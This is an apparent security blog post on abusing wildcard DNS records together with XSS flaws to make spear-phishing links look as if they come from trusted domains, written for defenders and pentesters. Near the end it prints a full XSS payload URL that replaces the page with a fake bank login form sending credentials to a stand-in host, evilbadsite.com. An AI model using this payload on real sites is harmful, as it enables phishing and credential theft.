TL;DR: Millions of domains on the web use wildcard DNS records as “catch all’s” for all subdomains of their parent domain. When combined with a Cross-Site Scripting (XSS) flaw this allows remote attackers to use these sites to launch convincing XSS based spear phishing attacks that appear to source from these domains. These become free attack platforms for ne’er do-wells on the Internet.
If you want to see a practical example of an attack, skip down to section titled “Attack Proof of Concept“.
Also, to aide in understanding and to avoid having to read a bunch, I made a video (5:42 long) to compliment this blog: https://youtu.be/n6CWVh39DKI.
While profiling organizations’ DNS for a pentesting engagement, or reviewing website access logs as a security analyst, you may come across oddities in URL’s accessed. You may see things like this: http://obviouslynotreal.clientwebsite.com or http://XXXadultsite.clientwebsite.com. If you find that these requests are being honored, and resolve to the parent domain of the request, this is a telltale sign that the website is being used by malicious actors in a spearfishing campaign. And there is also a high probability there is an XSS in the site as well.
I’ve begun to notice when simply using search engines to passively profile clients external DNS presence for pentests that some odd results will pop-up. In one recent case, some very obvious fake subdomains were indexed by google, showing up in search results for: “site:clientdomain.com”. What was found to have happened was that malicious URLs used in spearfishing campaigns had been indexed by the Google spam filter (postini) for the client, and ended up in the search results for that clients domain. A side-bar discussion is what wildcard DNS records can do for (or how they can hurt) your brand. Having some nasty subdomains appear to be sanctioned portions for your company’s websites doesn’t look so hot.
This issue is not new (netcraft in 2005 netcraft in 2009), and has been reported on for years. But, not many people seem to care, or understand. If you’re a defender, perhaps this information can help you configure your logging systems to identify if attackers are using your hosts as attack platforms to lure victims via phishing. If you’re an assessor/pentester, perhaps you can start adding more context to why organizations should fix those external XSS flaws you’ve identified in your reports.
Some VERY brief background. Assuming you understand what DNS is (maps human readable names to IP addresses). A wildcard DNS record (something like *.yourdomain.com) is used by a huge number of domains. Research here shows millions.
A wildcard DNS record, like the one I just mentioned above, will match any subdomain for a parent domain. If a user types in “bogus.domain.com” the response will direct users to domain.com. Here’s a live example: this is an about page for garfield.com – http://garfield.com/jim-davis. Now browse – http://notreal.garfield.com/jim-davis. See, it took you to the same place? I think you see where I’m going. Anything you put in place of “notreal” in the previous URL will resolve to garfield.com.
This is because a wildcard DNS record is in use. Now the crux of the issue: If a website has an XSS flaw, attackers can launch more convincing attacks against victims using the wildcard domain and will prep-end more legitimate looking subdomain text at the front of the domain. The idea being to coerce the victim into clicking or browsing the link.
Here is an example to drive home the point: http://legitbank.portalforlogin.com.testingsecureauth.garfield.com/jim-davis
Users may often see the first part of the URL, a trusted known site, and ignore the remaining portions.
To help prove the point, I will show an example of using a wildcard DNS record + XSS (using innerHTML) to attack a victim. Keep in mind, when someone is performing incident response, the source of the attacks could possibly be an innocuous domain. The attackers are leveraging the flaw to launch these attacks and the domains being used are often in the dark that they are helping the bad guys.
Below is an image of a domain I own’s DNS config. Notice the wildcard entry.
If a user were to click on the following link
We can see, if we view the source of the above webpage, the script tags that had been passed via the URL looks like valid script tags to the browser, and is therefore executed.
But you know this. Now let’s demonstrate a more real-world example of how this attack can abuse XSS and combine it with the wildcard DNS issue.
First let’s abuse the wildcard DNS issue. We can prepend anything we want, so let’s try to make the user think they’re clicking a link to legitbank.com.
Now examine this URL (which is not live, it is meant to be visually inspected) which is using innerHTML and a bogus subdomain (note i’ve made it multiple lines for easier viewing, this is one link):
http://login.legitbank.com.uid-dfbdsbnbnrwnbwtrnq436534y35yfsd.cyber-cyber-cyber.co/fishing.php?user= test<script>document.documentElement.innerHTML = '<html>Totally Legit Bank Login <img src="http://icons.iconarchive.com/icons/chrisbanks2/cold-fusion-hd/128/ dollar-sign-icon.png"></img> <form action="http://evilbadsite.com/hax0rform.php">Username:<input type="text" name="username">Password: <input type="password" name="password"><input type="submit" value="Submit"></form> </html>';</script>
This form will harvest the user’s credentials if they provide their credentials and click Submit. This is an example of how wildcard DNS + XSS can lead to a cheap and easy spear phishing attack, abusing otherwise benign websites on the web.